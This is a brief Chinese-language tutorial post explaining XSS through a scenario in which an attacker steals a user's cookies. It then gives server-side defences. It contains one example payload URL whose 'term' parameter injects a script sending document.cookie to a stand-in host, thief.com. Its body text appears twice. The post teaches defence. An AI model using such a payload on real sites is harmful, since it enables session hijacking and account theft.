XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
下面一个例子演示怎样进行XSS攻击:
Tom发现"Victim.com"网站有个XSS漏洞,而Jerry是"Victim.com"的用户,有一天他收到了QQ上的消息,让他点击下面的连接:
Jerry认为"Victim.com"他经常访问,所以毫不犹豫的点击了连接,后果是Jerry在"Victim.com"的所有cookie信息被Tom窃取。
攻击的过程是三个步骤:
step 1. 诱骗受害人点击钓鱼连接,或者访问钓鱼网站。
step 2. XSS漏洞网站的server端没有对client input做校验,也没有对output做过滤和转码。
step 3. 返回的jsp里面有漏洞参数,上例是"term",当返回到client端后,问题脚本就被执行了。
所以防范XSS攻击也很简单:
A. 对于用户来说,千万小心钓鱼连接和钓鱼网站。
B. 对于我们的网站来说,在server端一定要对input做校验,对output转码!
下面一个例子演示怎样进行XSS攻击:
Tom发现"Victim.com"网站有个XSS漏洞,而Jerry是"Victim.com"的用户,有一天他收到了QQ上的消息,让他点击下面的连接:
http://victim.com/signon.do?term=<script>window.open("http://thief.com?cookie="+document.cookie)</script>
Jerry认为"Victim.com"他经常访问,所以毫不犹豫的点击了连接,后果是Jerry在"Victim.com"的所有cookie信息被Tom窃取。
攻击的过程是三个步骤:
step 1. 诱骗受害人点击钓鱼连接,或者访问钓鱼网站。
step 2. XSS漏洞网站的server端没有对client input做校验,也没有对output做过滤和转码。
step 3. 返回的jsp里面有漏洞参数,上例是"term",当返回到client端后,问题脚本就被执行了。
所以防范XSS攻击也很简单:
A. 对于用户来说,千万小心钓鱼连接和钓鱼网站。
B. 对于我们的网站来说,在server端一定要对input做校验,对output转码!